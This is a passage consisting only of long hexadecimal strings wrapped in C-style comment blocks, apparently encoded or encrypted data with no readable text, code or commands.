a6f8a390d63e228f63a2b578c3ed5cf16985068d2c11415202733ae1c24144905cee0ebbd79d3c9ad7f279bec28c5ca8259c64c27612c08eb14a95c1fad2fd2fcef73aab654b34f33221f7ccc7bbe3484b17a6eb1b1b338f5286e46488af6abbe78bff85905ad03ca5c8c366b61d511399ad832d1933800bc2e122b8c7ef626182b96b93a1335d9a377d1a6061cb8217641d47219f4a7e56707c8e256e7dbc1db88f435407b3703ac25053bcd6d2f5a8485294dbb9266ba77f14d174bc385995006d1366b103878c9df11096ea95feeed84c7e9278e701082ecb8c9ff6bc63ff2879eaa2dedb4317b4787fe1e444f476d3f2f88a3eea11abc973e97b47fa1d2be9767d73770c6140b718d68404c875ade8fe1e258b10c72e275c0d9a50d80c346132c4aeb7f59590c4a81889fe4438cc42df25a8555095e2dfe88c268bd971b1dc0e560db71c024949e1b74afb12cb7279fd399ff0a91910c3e5ecbfe5a04fe9383c579ff48b01c72c9560a5b34d1c06db15536f1aa0c1a97ff35707845da5136c08cea2fa910e6fb5fb2018d3fb4b2d0c40a47b6b73a05b1a21275b75a8c82f38dafe8851fd66e6aef9adfb185cdbe8e456896e0ea0d47e154119c79828ab8bd66d90bf9b0914cff5c26b3928cfc11897505cc97b614184822fe292538953c1be4efc8716cefbe960d0312686bda718f4295ac29b4cbe0e90451d8cb8c98523321192943319ffe40c378cb7f86b29065c24b1d2dff871e82daff3e04a8700d98a7adbdfa0fd594dc34ebcc24ec3dd15a0d3075e26cedb6b6672330866c54a38726606fafcc52a4ea738fc942d63b136e74fdf7a3085b49bdf975c9d4e00d3e221af50df708e9e10460552ada89325aff87b8ab59e6a49ae1a9adef38e4868984c5c4cda971e2673234661787b8554de07ba11eaea382d82b139c9ebbc43cd113f4631a5c12eb65adf0c696dc552afd5a8f1fa6075026b923f73069c0fbfee43e1df85b8caf36259d98d660ab70c4ba2da26668deaa194efd29d85f53fad01aeebfb5073488bdbfb5e8c1c15bbd573bbb26b680bb834a05b84d6acd61e14246534dcbfdd7679ed6e14654e9c73b5d99daab98f3fb133f381c8a2d237e306dabfc45f23e0d71ab7211090cd24d6d87675d2b0f24f720dec5e142dba824d782f0426e565d7fc780095e9ae1d6ef2c117356ed4686585b9cf664a5a66021a7b56c1969d1952c9a2065ba1cb88af7884620d933e*/
/*2ebe1073e825afdc3f3c650b24a2a2916cead3967635e2ffbc777ab3e56cd3ca57c554572960267c75093068e9d9d59a2c3b22715d9985e748e6dfa259c91f10397edbdc883ef3286f479cad5af1b3d8fa391e075a310e6150c061d034a3b4134e4f664aed8c25940a0b98b4fa95ea55ee38a70690c5760e255e69ac6149b59c9b3159b7d8d7842ed4bd167697b010d8eca1c28f132b05e899218031fbc5517eab34586005a26696cc41759ceb6321e740b45b913b3e28d1ad5613e8a141a7581d74c7f44c01d547c81596abd09c5bd7f333c900409a68f1e26333d815c86e9ae7c9b0e8e6ca9ebc6cdffee8d03b2136dde70c0a2fb6e2e458ea5f79033fac538afdf528d057cdbc0489b852f2a4107251852c22d601b4e9d2322a0f61b6431f2d3cfdcb97ce23d2eef27ce5e0392800e225f678dc83e76376d15b7041108e0e6fbecb47e7ccd4cb90b8c36dcdf1ad1db95fbe9b2c95f6a75de9737697a64f5808b272f976d90b18d89ea87e0140007beb49855c73b80cfb2fa3deb7d23c87f71ad097c9eb4d6be85e86e7670cbc4052d80d1d76500d69ded363980f8d49bb786f1e0b4803db6ce6a4daa7fd556d85e6958832e483f9cdd914ab5fc07afbf4e10a47c8ab0b96f8cb72771d2549b53926e8d8e1be09e255c20a38bf514ef4e0e4b092ee74d5400cf39c2f47a4ad624ec8e5660156c367672bc2db1d957480bb147580db773859071ab12cb385b830bcdadc92fdfbf93d06e62f755aa6efb6c49e1ab013b8ecb8abb7ee950c32353cf5e0255e8adb08e50600ebfe3e7055bf456e159d692c4742f9f7a69bff8bb432a74b063b1c2c7896f60d265ef1674f84e5e992d083d86b2335bbab624edf89cbc3154bd352cbe463e11c8f963dca8bacb1395430f4808d93f15ffdf5be98c8f887ec2ea412350b8bb16ad86a4dbb6a8ab98756ae741a7f3035031ee0f1290b574289136983184e95046a769d3b23a2283bdc415ae7e92ce4325aa67e00d7ce7a07079f1448a9f4ffafbb4df1d8aea0cfb5639bcfd1528062bd7f2c1a16cf6ebbeeab9b32d6c79707fbef6e985109d4bd56c8befc98b71bf741169bb9a6d0f1e92c50dee22520b9d8e0df64d00a33c6fe3584d36265a7cbd375d5173ccedeb263df8af9c282083b06c8fc2a102bae6f712d082015c9e60f51cb161193152e3799e66e6e18a27da7f3bbf7ab3ec12b3d8f8d603e703430bca5c491129ceb5f9d5e191b997f88e9ea2f97be4e5197cc4ed79206c63f5dd67b394eae215a1eb6cd8681703aeeadbed0bf50864eedc470cb440667f23c348b66a29e2d9f95dccbb03ac824addd10789978f6ff1355e2b4d146d39e4f354037ac90e221fe6a717d14e7b70a243b5278443c855f9493a80f497b9b7069df7c9a7ccf5ec7baa032fbc74abdbcaed656bae3088f299ea004d2e4f9e43d1dfbff25a7d27349e9e19f6bd805469ed68ecfbdb6848f4aff44adc08a84ec1a9a67da26761c00523a037f83b740503f86a5d4571c693349da84c0c0c5d76210de8b75070ae1a991e014dd9a04534ee9bc271bcd134423ca253cd4e5becfd749c4c1bf103c850f590184b887e5937a4773104448c5b676cc51387b706ab909ca6fe442ca77cf59b9f17b8562affa0f1b89dbc5526b394b6a0c07c69e259cb8add1a0c63328d13b0394b2a564751e1c0a6c50282e48e9d7636db3e5c39e87e23fb53d5f0544752eee590a9402b84cf3727c124d3f76d5b2d4941b7b81a53d030518ec91a2107bcd4a1a5a7a359ac8cbbed706db62fb6734e44f8f023678afc530d08afa9742d1fadec8a288b3b325617404b800fc33e28b11b8b3f557dc2d70a2be2c9914d93555aaaeb7d76a5b0af89a93717cec0eca5a71d593881eb3128cbda0fe3fbe77a6327c67ddea5c6b84ed40b84939b2392211e9527bed552d0fee3cde5703b286d588f5cff60ef617180e06ced96757cfc6c5fd4dfd68f78d176b5a429d4cfab4522a83c3dfb2755911871001643ff9f56f9f06a76251a3ee674f8996377ab2663bf2aec33d59980a693688ce5f5d66b0aa744af213745a9b036a4a14605a9507d8a5b549e7088fb2346d68088c0db885dba04ac69afaaf5b87198ce80b32fe974e70efbc0b1ec944cd9c27e46e03c17ae4fbf1e0b63e4b9b3abbe7c31e36f9d598f8506ba83114e3b229b6aded7746006afb960faedb05e80795b06e5466167166d5343d30c6db218bfa6bdbe0b5fa6d1a2bbaa2f428f6e4fa578d64067e67c56195ce4f7f22fd7bcbed9a46c6542bb07de3ae33a39d30c2f661b7ad35883443801f661b52dea70beb85a5d589f8d5654828333797271763b65ad4fe12e12f7abc7321d3a62703431fbeaaddd85fb91385efb57176628793f17d5f4055ffda46497f77b40bb75c976424e16249593b73b748cb860d4a7b4d48f0beca7e6b3f4b4fcf2670dfc639387bae1c481dd9a7367e4909ab043b8004d372f20d9a9879c0b32137009c159fd4c044c5f66931f9478b01a475c07266df4a1145a5adee503a3d1c24c73627f75c11e53698536931f47f242916ac0f6975d2956a9be4ceb1ecf033a89868a5fb74b4dfff1dc48f897b88260de8733b80a683e82a30d6852bfef11c8b1ca99b2e9959be53d56f259cad1349a2e978fc5f1f5582ef6afb61c637d1f7bb1cb290b0dfccff5999280f4f95df4193954749735a87334534ce9262ef6d9f39e778f52433a8e959280ba445da5926ed28b736f45d1ad892e1f188f5afa6176eb56e731c2a6704ab18d100211824ab4d016ad1253579371c0603860d888b9e0aa01ec06d60023813*/
/*3e015e2a73ae04351c721f81a5eb9d0dde32d033fb641c7daa84cb320774bb0f924e21a0f079f7a2730eca75cc446b0f4a6d7732f5d2ad40a98f72400d92811de19dca7bcef6dd855c9c749da87ff2c327e1fe501b727319a83dd9a5f75eaf24772ebcd7f441805e74a2fcd12f7383bb0685f6eda0b7e334d0381d338a5c56f60bb6234e1c228b55be862cdcb58321f8d82d1afa7dfa1687562aa80110e61c792823656c764ef78c0f4624b86b761b59d1b20d15f376cd4050bfc62b44dcd64de56330410a9932933149a8d6476c98ddd5e38678837ba7c9ec6e7a435e9749c8b7027849d06ed416cd0fd42160f3658ee98307ea0d2f82bc5ede30e43dfdb4f709f45d39869028c012635f3222ea473d6512cbd67bd0c4d7b92636353f7831231adc5813a9f0916d937e92175af4318af5714cd98d7522b9fd46b1a80e2b2db89f188a02b9b5f877f39e95c7f04060b702206672bb019bfa256988dc2e7ac317e3914166ea49e49f162147c1c40e39b379979ab78cd82ee950a3fc59d3cf708fc92783982f2aa00812c905812a93ed4d767549288a2daa0ad1c63376728be1caab8696f70fe984363a1815a47e9fe9e433c446753cd19f5b17f42c6bc27f5af372bcb24ee3f9bc03cb755782d61e762189bb5b590474323462ec59ec3b93eaf7b8a05591b80dcd6a6498bcc7d8c5727677d8408f21f7205fa21c9e4e8d72031077b09e4f03d96cdd93526fc827a768bf9077c7c53b8bbf6b3ea998bc830dd9fc5ed0cb2452f286bda639cf8fa655b8594767a255a7ce57d68308b0d59dfa642cfce645bb745b1c8ef07de49e3658b658e415d953c7ea0bd24da3ebbf7fb30a5e9c7a32561b74b8ae45d3f55f0a8c2cbb5786684ecb264b9af0bed8ad926a0c332944e527e0c83157e4290c3a7a60951b55f62090af8946f9d6ebcf2f608b6d4672f6a25a9c0fd8c0dfdcdb9ad43623ab0f70fd760d9e7753d7e6caaa6084cc3b09aeb2138c009fcb4799f6158371c4b23e548483ba0e6c4627410c9f6228c77e407a3ca63c5cca6ab4974148cfe46c1bc1ae08ab025a88f51579f64183c6cf69ae4e812c05bba710f68a3e3982a0f5122308586b26a1285e240519aad2b8f31e0c8f4e371e957ff3e374e341fcd972b8618d27f2f5ffa3887b79663750d0924bbff4e568ff7f5ec79d4dd4f917f09f3bd7a02d1df50c2cb162104cba3d4e6691c138f70a1539d4d8b0495c33fabd9b732134473dcd52b9ef891893179684f7b5547b340be9578b880d1a5f52f61ecef8b479b13870e60d5d31db5cb73502ec4100655c84b01a343839c5a3ef542ce98037b456ee48ef17d1ecf39f2e46b40289ec506191add46a328e8ae792243bc81e228346afca000e0d151fbe47887459380ae5cd8f4aa4e11671e8d4e3026a681aa910cd8ab812979f88487e628d8a257b1dd6a102ce8457cc0a675635b5f1e6ae8739d0408987aa43fd52e21ac7789746ba03aa120577789d6ba79733ffdb880bec6c8bf93c8250af3885cea86b9ec4be4244a87bce96cae1b1c0ab778da5e2ca9d6f210e2e516d5cc765ef1b356d3866ae0b6a08a8724fdcb0aa303c98b65747986036767273c3cc5eeb48f03632a9c4bd936b333e5de3ba8da7b951b67bd6279a3f586221122eb75904db18ea0ca76d8384edd2035d19df0103fcf4b8050b47173aa1d4f6dfcfdb7ad786b367c8c97e582c62c66a73edfa375da88bd04fd0ce433ea6805fad13cecff4c9297f576607cfb2717b057e0ccb2c6c1103272af01448ba66586d922e86084766ced6b4f53d9d6e394571f2bed9ce773ac5c51d2c72f8c96d20495552aa462486c3f1cfdc5b0f152669c6201f3f234c77d140b08606b3821cd6498341d8b84dfe8424de30bbb351b052fadd24cc0c89bf08a758c1eb90e8a547783c96c8fea8502a7572e9f06e515c9e59d8c403d25891b45aec5f982d4f6d29b0c3d97ca46f1cd4d3bb82b345108951691c6488e46c3a0e0df819202a47e5835770008ae064e3137a725d79c8adf86e43c11fb90578344dd2d7fb9eef03103142c2b115af01b46ad27382ef793a2713f76629a1be80c9a2a33a1de2a9b1f68c84db5a4ab667613d213b015df5cb5bb19cc0915d7ce39c8638902aa7076158d3ed632facf7edffc1e329df8003173713a2689afbdabc78fe897d493a01d69b32eb5350910e45986f9656b63b39c20701c518283ce4fd6fc6b57deb609f0a2186973197104e4aa4f849ce1f5a89886eb79bc32ce1c16e300bd8c150b62b84263d8235744b93865572daad1cbfe871073b68e5870e3d9d2850df2870b1db37f0a77dec1a9a56ace6dd9c22aa2276f470bdf3ff703f5bfe3b65289c3f35d231893aeab0909c72660f41da580fc7eebe7fb1c8799916e9e407c16ee32afe971a35606376bc3c664c540b987f6bc2ccb44ba589418315c97b91a71d6045af422b9f0d6b0e33197af42cc52cd62ee6d2caa6609418758465b73d9bd5553ee925eb51395d1dbcad44c77cfe4687634d69fe1d1c9a893a6088acf0cf1f41a22646bfdff9fb38c225dee5cca46a07c394be2007e810c821adfcedd5630836a66879fe1886bff8187c6d03dd670497d63c96917e5c0acdd2cfdba9eb4488a7afb39c62f7b92e610b13f2fdc484e46f0cc9dcb53d606966d91f482936a37904826e25581c2c927fee55fd916bf2c9f0e9f5d180d45ff53f2e7c68b16ab911fa4965fd54c277674f327a365d08ce0b1d9e1f831e6414c8630268d3eed64b503857b1ea4001501cfa9396a0aa0ddd4077e7fc0bb92b375c62b72cce64dfbcfd47831a*/
/*f93046c555f77f83e4ccab840ab3b24ae75d845162a711032838205fe0d925f5f460aa0ca870f6b69789bd9c977e65eb0e90c2c803e7bf7281683198dff0dc710fd84983694774185c0648bfb4bec238849bddcab58fd8d28122f2602ede147b87f029ffc8d9abcbb581f500f4c008e4bbd65be4d51b687c785822e13ae8953f47e5cc93249ea21c618b2f21143f88d8a3703df98f30879599a4aa0466142fa60bfa844919758b40943be006148c052da4816d3530eaa38fb61cad399fb70d4e82ae57419e11e71caacde2992967caf2d60e2c38b0e07b603bd910a14b7e3bafaf086cba69f13b0fffa8d4e4569d718e8ad4b29fca743ce6606420197b0980c512decd2ca9861fe142d27a8df08935f51e4fb46169a6facafc7c9140145f64c4c4c7a266cdb8eb9abd35c4f4c33325e796ae17a6ca9e6cb4f99ef99bbe5576ec8a5a457c5ef01a76da3d6129d7602f48667e5b045edd91e4a6962e18176ea0c7c0c89fe7fada8709facc7945bc9f001675ae65d8a5fab608042c92fe6cab01adf1e32a52910727c9c8d34a6f38c97a7a7ed954b1f1a2def246347378902f9bd96c50b7b21ab222ad083dc03d316a39a337e58c5ef506911e6430b63e5191e25ca65a41e1d493fd8bde5cfe191a285e000e03efdff4a8b88373c6539e3d7f6456046436bb2b807e66a595f7b487ef53ffdb2a51b730d73d793472b89d66dad8a92bc4f6fd857c385cbf3314f824a3dabfe9128d3d7a8414aced423b36877f75d33aa9e2597f31b9c3482dac324cbdc77b431fa7df323c36156eb8b28fb028ed98e549ef42499e5fba1ea80a07d4e1d465f32d9b9d5ab1a4bfad4fa1affa3ced1502b8030797bfe8775530df228a669bc97fa1f17ccdfd80d81ca83eec0ad3495921e5096f1934ed7722084cba527dc206ac55dc886fadab4f35233475495f5ca75863de75f686dd1fe55e0ba76384237cace99cebe599f0ef48adec196a01e8ba74f3a32fa37ecfd66587865d511da4f17e33ec6398fbc408634c951725a614a65bea0771a9c9c2d86c356a03638667b1211496f89f2ab1159d5ef7c913c16b6bc862b05048bd827c7f16cad49420501cf63e139bd5338dab31ac108d6839a153dddb9c1e51761b4bb5c10f33fdd7ad5a95925f9c00e871598103ac386d831261320b27ebb5adcb039c9bb01fe19103a33797da81db4c5860734718c9bff852a385cc7e562fe0f83cf0766941c183556f350444f84f29bebf0ff842d6294aa3e6c289e61a110fec8be2688e8f9b6f35967a584ce52c504366d8fda857c914eaca75722919d8bd6db2eb9a8844b5229de8f0615bad697010110d3741b9c48eb138008a55ee33a6753860998c14b3630c629ea2ae863cbe7b0e6bf952cf4f872901be0406418a55eba8ce9cc0f2f25dca59b5cfd535f3d160326990e390104e7643677b50d3c264d276e265aeae66dc1976e9a270654c86169a1130b071a35e5d054d78432151450999e504164a3e41340bd62aef7c8db52700ccfa498f6f5ae40b3f4a3fa05811fcf6a7481cb47c38e662863376fde16a3f3f28597d366e2e3e262239511046ef21f8ddcdefcc80c4d4e52052657b9b37ca82089422e524e6f77889faa8ca33b202bebe34992498d8cf59a0baaf172be4e602e59983afb39feb46e137a5ff977b33836603de96206a93297eada869fd00a64a8a4bdd99a1b669b6e31792667aa4953b9663194db89bea897afc40b20a4a3bc23d39588d6e4f01df212a8ec9325a73dc5704d097b4d091acc690a6d4957861ff3e0551e63b38cf55f1ab09ff9de51268aaadb6674bdd5dc00ac0e57453ea4abad63dd2af59851a8e52affa47e67e0b8067a5663f994076ee8ad02f54a46d8bdfeb13584436b17ac1f58f5eeb2378a8603b70a1de7b277163e4892e3347575c7388c052746b86be145cac5ec81cd0b39f6065f528ff3b02650de77fc6bc2a322bc1ed7bfadfb75cd79ee08e48748d0fce2cedc1e1b51e63248c2a5c495dbc27414d3661b70c96e7d0562ab01bf04635f6d8e970c0a24c14c0d5bfc568ff484028d8064c2295e8688511d77918e18cc46c8973257ef87cdbc7248f76f6cdf03fc15a6e75d8abf5538b236adb2105603f3f8fa6317a219aedb9f92d9a5f11c165d6276e5f47e864a20f5b170c8401fe7526dc38cb25ff40e467023e15d5df95835b4022eb6acfbedc7be29e8c2e45d2bcb86eb4a68329bd24ff99262cb1057d64b0f6cb78f820bbcd54f13317713581e7897d294a49bdcafd07b3417f205a302094876d372311008c3abc98ab831b263ba9871a33f0c12c4e153c1e438a614f4c84802840ace821c0f62e3a1a336fd2a0505466a0f9eb9b2817969c6f3b2a99404c0c5ba52339d7805e2ac53a6481c797270514a275b3d85f717adfdd5426bf16d04906aeaae37e642cb37b8db54f3997ac811ed7d83c14c04678769f321bf27a777397bf3b2edd59cb646adc998695ca2982211123e916fdf43a03bb12c2aef0867683de246e33cd541e455939ca1e99229792c61388310b3cd4d2a69e57f0ecafc9aca6c92d86fac8fca36f3fce02b78ca39d4b7722a9895aef00e02de0799949880b8558cbe92bd0c4c379c301ec306bd7e7234a6c346545c73457318e974ee94b356213ccb365bd432db7f5095428e6e21ae3ac0e743ee54bf9262dd5a71202165f892ceaa66fbade33524ad40399058778d0cd3be85e6c76dda4b770524a24ee3ae174b6c8de925072ffb2e12748bb44dcf90a5964b5be2bbaf7c775ebe7a3a07fa9ed437949421ebf8587a2a5a0bb42a6679126c5de11*/
/*c6dd9d74854f7ed9b217aa819823c0e07f14b40e78c6a30e6282343a13e58b6623176fd0c2a93e73c6c09173f4f0bb5981e08ccf7932ca98fa107e67a747968f5291c66c18ad44457a0d82f89d041790e9f80bb97fa07c48d43250de4d37149904977ea246ad98e4e1ed50465b17b9b38e726abe3ae710d3164cf22d7e8ddccb928b0c52c4de97e652e3ae8e4a6d37d84c37b819feedc3dc624d3289cce16c4881e73e7ea3aa470dc3da645ec203379187cab25288da4aef4389444867f8b9836be0ce6758b7149c134ef4085db8d515f087d21ebb0621f184ed7c6f7a6024eef7004fc6fa21696e98eddb18dac0f9d92ca20a30f354def845dc992ca96d321f826e541dec065d40278941aab1843baba4dbbc332a8a2629a71dc18936bd4f92c126e3167b4184855ff71f6edc1338d66323ae069f08e1bf8a8057bed7cc12d78ddc11c3d12f91b633b5ef7f68d34142a778c1ce19f3d66236b08948a3f80065437c00927b0f5b1cf792da3e68fd0ffec67cbd9ce91eb834ceb01850681624f13f10fcfed1b980a7fa67c03d4f8eb2f6f333fcb6281ac21a29c0458065f1c4526f6cb403713a60f90a12f43fd62266fee12c3466622f5f82615429edaac573c7e391e6fa891977b3c2cbf3c94b329882d7319661f5dd9346047e5f72ae8530200640b5520bd3eeabbc7e00c1b6ad0554d8c118397f65de56aea15d2f43e294a30ba94f2a8db6915162e7fa4022b0e5f7edf7a91617f3734458cfe47b06248948c8c3ea566b20b144faea69366e8614d3762d4f6e6c8f58072b97dc7f6fc291a5c47ccd8d0c3898f5a394c6af18385ad54631a1d6eef83416c59602d56d07cf004c38e15ccf03c8ed716aab71867461cc212369fe5b324645f4694046e25a3a0a8f79ec514d0e7693d19eccc1560826b6eea61a492cd350aac2a33ad3d0e2a920c309e8f512547ecfb0721ae312e7d8a89561c2724748444a189b60e3fc59f96677001788fa9f70df8ee6264fbc33ec6a6d05c14a857cadc3f4a345d0258b9696bf9aac0635427538d9615ecef3d508cd7a77469cea2088d207ef8d82228e356c5242dd4614f1f25d8ed862fa346f65fb6df5cc3fd03b4682f14fb65f2d33d83178504370f8fcca3e31f55974d3bae561267b4bec774ca29d9c9113521854bf91d68cc6725dcd5717f4f913e4c45643f770de1b05c3b2bf04fb7df0a219629371d7a07c725b43999c822c293cce2945b56be9d4e4a97f8a1853d0539ea5c00c86e83ad3beb443548a1155c6f41482be683e7ab53fcbcec0cfcdec4ea15260b368386f41b5675ffffce66282e76b7a1402f1df922173e5e04938d07330ef9df78aecbc13258e683d53def78ed9a1c607a97048a2ecf33b21047fc5dc2243c7040c49cc54d278d5dcdc6c00ea6b0c1d5c884ea08726d046732fe24d02cf05601b6182d65d614c5cf9a66cf1f7c1b56d6cf44e720d96d61dac28f15ce2747336a4667a21c112e9d369ac0495e84c727b8f86f324bb6a89b60aff73c6fc234e8690dd146fa4b86a0e66c141004218e84e7d7a23238b5aba5d48884dea16ef5b63a6adcb8812c7b6700790d84db782e9992d35a8f8b3f7ec14ca27dd4721f56ae431d9f2d867d877ca6c14bef4e95ec9b76cebb63a1505ab20254a8ef3133b363ed453282aea660e7a059537b7ce8e8fb2e93618f5865a4f6a04e12b64543d39b5190b7987099cb76c27b1ba718dba55d6aaa1c62f306472b26d69873d9f444d7bbca13688825b71350f2be63ff380c65f9cc14ee729fe21b609aa9aaadd48fc42c5b6d29724ba708d5710527f4b2d892ba2d36454ac3e30300d028e19ad106004a587bd2ba1706eb33d7b2f1d108d2c1be4873ae9bf95ae7a30671f4a08f70b10fb804b0d65b784091bfceb87e1870daa1a96cc652c22f437a540fa57e7df02d527aaf0022270a73e3a48ca03ed6204f770be0cf24df450306297b61f39df586f2dbbc157c9176404a38ec9852c9058b6b9713b7f0428a8f0e412390362381c9d89b63412afe9a40f1d6c138ee322a15e6fae921b07a99871e0ef0a9beb04b33c1b0328e043d2a14411e84e1288f6c650112d4d9509bae91a419235b78c5907f072c281526ef7d0f59a5d1856ad7f806ec2f751aed8523d6ec161efccaa6c8c035ecb10f49c3c7cfd61a9b4e0081b63cf1ae398f184eb40df0b6b699da77594cc720de61897f785ee477178c9288c2b58d0a175c77b5a4aa0859d3155d479df513acfef8f1786cf9a1ee819daf4f135368176a7d750ed0d9415ea3723721ee2e6f61cfa444b6927d1e388c4c2245e5598a59c757fc6bc7199a24f5967f6073f5f90f907cb7f11588ae1c8a0e0620a19f8729ce3bfd6dc6d16a570498601c432beb37843d16deff20fb209402350c0f2f718f940b9fd8bd3836318b90965bfc4d29a1bac4f4787ab5e6bf81e2935666f677415be444752315f8fb061fcddfb78942aa33133e2cdacf52a25eac7f44b9c059fa71fae55ec95280b2c497c82f3ef80ddeee4b8aebd75bfffcc277fdfbb0d15d4857cacd5b8898317f7459f21159fc2641c38472e5c7be991506fbf4f40f44d5cb67d1b35bbb67dd056ce983efde6dc886bcdb81dda6308b78246cd411d378b2e16ec41ccf784265fe992042fb364e8548839b9d52d36c8cbb23b6af34656f07429f615541327fd37dc2ba552c13ae0c3c8abbff7bccae48edd8a9c6191994920cff831c3c82dc14f72e10fe2cfb90accdb784d23943c511d980ad43b8f1bf0e2edc3c1a8ffa449a154517830673a258ca8682591a3e2844ab3593d34897a13cf2f*/
/*5a7cfce22361a3d0ee4f7649e4cc933cc9f27ba73b2f5ff757ed0557da90eb79983b5f235a8a85c63340adb7ea115ff7fbc540542c9a231be3e76a13291b38a588dc2646e10f454559793ef3ebd8e0f53b198f100aec4e5dfdd4eef173a0381b7d8c2aa829a142725baee51160fba2e9fcecaaca9d9da4f16331a3d786e5ba05f96a14d955ef17657c13661deb8b7dcb6d2305289d023caa8d92a88d2e06aca252b2be831ab64aca6c401d02986f58cd02419fa7ed062c15860a0f574074258bb843a70274086ba1b4d116b9b94a3623d3c8512452e4c45f9a1e139af6e2355203f128c0c056e9a752f232d9ed667193c2cd2f34078820772b69b818bfa6235e4162e3ba233186ebd6fa139b3dc17f389dffd353960d13953b594f7311f453d83ce0be6d3c68a5d16c16c30de663bc4e5e98248ac6107de7b5a91982570c53827d9036399cad7fc8eebcc5171511e6e4a9b05cceab178b463430ee76bb1579161ffe4cfb7368946b05c364344b00e2000a59baea6b569f59429f290f2ece96c57060b463a26c936bb9917e3037d5c5505e5b6696aef2f665cfd9264db49f158a4bce4bb889a4989ab7396b65f5e1269d09f68a6fc7afc33bb6dc4ef488e23f47e1b630fb4e01d14727a0c63c6bd60d5ac7edd788f2dce18da39c17a2b407cdeb1895f86a9cf6718a0f97ab9b43fd7a329aab4cb7a09645fe0b2647e121352a3aa42e48a3fe631f2112378cad0c7f4a29b14613cba8d9d81a0602e9f60082fcbcbdbbc9b43a631ea645d7e2155c1de25d1a0963f9f3790a251021f08cbd149c632bdb95cc618bf270cf5796dc16bcb67d1d1f36961a553b9515db77220f6e1b9e389bf069202a78526298663ca803b879f170532eb1fea16617bdcf4c3f18962b1702584d5437776e737a446eb1a3d0fe959ab9dfb89a8de7833335efcdd4b3cfc198ceda1354700186412a0950965d2c1040ffd63188bdab5ffd7dfc43e6b2b70c3b536e8ca5566feebb82f43660aec162419534dabad6a6af5285f06b7e82204ace270276e9fc43ff50d5ff8bebf1e21ef50b7605970a20ccd907135fb734d59c8769de942b8988672af5af5285f5a207128e1727ef503f1cf21e848485c90d5a96d5974deceb224c5bf2fdeb23062aad3355d2ddf42a314c9a87c36b2fc16c8785481d3926bbe691743a799c1204ee54a135c02bf4f536133f577fd0c00ca662429baa0db2653232addd02e57cd02801c4b9cc7a2e9f6d87c4ec42c35e2e92e698409ab3ae8c151619487b5d3cf1fbef0eae6d497c672a33c6b5a55fc7595ff4e14cbd49794feeae1446c25a690362fef3b59b99a4f53d3a00ad711dfb8a84a33e91c5b247a6366494be3281d5264d3728e7b6c214eeea87785cf167ce5ab697fb25c73b2106b087f658c0e47f46a96f0fa0c9799c830e7458fd853d355509074ab5fd2f4dae7834c65baba4e09503357e4f2dce112269fc3be781509363b1af565a4da7e39ad47b0eb1bcc5e63c3232a83323dbae00fc0f21316551caac34af4e98fe4e19318a4de36fbf4fe79bc6068908adbffda07f0a1e0143f92b5e9e252d1ced37aaa6c9f13f13a6f769be7a19bee43466a5404e833e68cd596dc476b9b1ae90449ac4cce0bea0b70815a05e5a73ac17a8445a6f208a3011e51f3098138f88dc36ff29da0e73e7081a1cf56e575c7d6913248436aab0eed6542b8dc22c8495a965ca0b09d7054165bc5582013ddc2b1d88bbde8aed7faf8909812e8fea621073f89f01c73b23cbe15e1f19f8b424e7da7e5cefd6154b851d1164fb559db9b4ad21470ab8703aafab71aa70c84a7e21f3ee103f4b04e53921f65ff491a0758001a1e11514267ffd12734d03c15d7d1331a2acdd621a7f8d0804c0bfbf5af77c5bf5c129bdf4e99374e2d342108d55a4a20eab5f200745460a2254088022a3ed79e725425e52db0d4ee3b8531682f911c50c4c89e4dc4fe3cd19df9e1e4ac2bad13e6c07bfe4e4dfc4b0852d35542c714dbe764b4a17975d9b1b12eb02b697ab06ead26819b7855bddb6c97da0f29d696fabf2bd312413e21398bbb96b8c7e74e9fe53806bbcfb8bafbbe227318f88f5babb3c359bc379264c4978120b5dde69b18b976131cb754de7ee6708fc0ffeeacc5d65e3825b8212016e7ca00d5d7ca904daf47e93af4d0c75163ce19f24e73fcf714e584d62413b6deaa64e8488686fca9208218dc2b90384e5067802de44f9632d00ef5599ffcac3cf5dcace4717df5e901bd20f0996d79cbc80dd5ab7b4a1cf1a38eb9a6aa98981976e5953ae76141421351c2ed2670b9d7a97d6d4e5e154e77b11d12e59faef598a5dcbe6a5a87e326173a522d869624844f693796e56908e7a59069275a0c03a8bce032abd4af66efe0e99d8b0720a5076f300ecf140473db84eacd2dd307e9d1043614c995ba1cb994076b72850447f43ad7a382011836353f496f5e02dd30f71948bed6c94e2c5e12327e5dd9d6b43502418cd35bdcd758943b389a1cf9775f0a592aff6073ebf5feb984ed688ca7dd4162aacf18e332a44d063e19383d9de61b05e6c1f06f5f41d95d12362b8c470d4681ec9ad9d8d0505f78c2d728f2bcdb6caaac88c00679800cb21961c8aa2676f2f3e6f72328b868f76b164920688c353b17e6b4ecd92b734d0652aaa82ca993dacbe16771a9c2c706f21f63adc303b9ca55e7aff5071e3bda9ab7eda4a02bc19477b5c2905785408fbaf03558f7da04be66117a96fbce50bab34e711c2e55421222af9ca12de0fa713f3a39c8deaf7b452acab0f4f03710b7d999f6e4b41e65a62eef3*/
/*2b547d57128b993be878b0331de298736be2bed3f8d7d5176ba19f10e4c1ebc6ab5cb71a2a55a2e4abc6762d1b16cb3e6a6f5a266b92d3b2a702ae329a97db83f5bec82fded9e399acd21886c61f06d2888db5f800cd7c992660e2703bacc4578cfca9a51f99eee33609aa04e8054318e4de81e01e36748549fdb1417b6ceee8302874fb6c02e6fba143b9de7d2f6d9511a30d8c1038bf4efa343dc021788a1398a77f8330a5b9afeffed7a2078e3fac35e6f789d3b3d224fbfb803cf0f3e68f56473bd7a9f081e8920c7b5ac4e12e2faed03bce481f2ddb2564425e41b29132521c90b171ed722ab5dcc9d6a8bd54d6fdfd9f6566ebf659b8c50c46535326f69e4f7f389f04829d3cf973ee186de27bf2040eb21177c5816783226926c866274994963b8993225f6f02439166141f6e1e06012f492ab06c04036024182f464b9916935936d9ed3a05960187ce276d69d30b1ce717313080d4ffc83e77e3ef379fed60f482b8ae62db4690025e6d804f5d8dcea976305d963b577705e10dda5bb5634286882799c8e9508a63eb08ccdbf124ce45e66352cfc98de4a21620ad6cf2f17cd479df7fb4e364d48b61d6db512cf4a588aa22e300ce1831b807c34f71a8e4cb8b173b1b34a1bf8b6e299dcf1aa67c50c1eac07bc29d662a1cb5fa975b5a4e0699348057eb5af16fab40d9d8ea8c68b2d47b2d961ca489c4303483e2959fb6e54a982bf5cb9ec6f72512fe03f08c3f8cd720b61a9e7c79b2764229e614f03b30dc809ab334d40c0f128e8d46c28660ddfb3863572eb3f3a6f22da2f77257d3faab2a93bc3000d98695cd72d4b493aafecd41e2363e3b77d662e504c37cda7f284d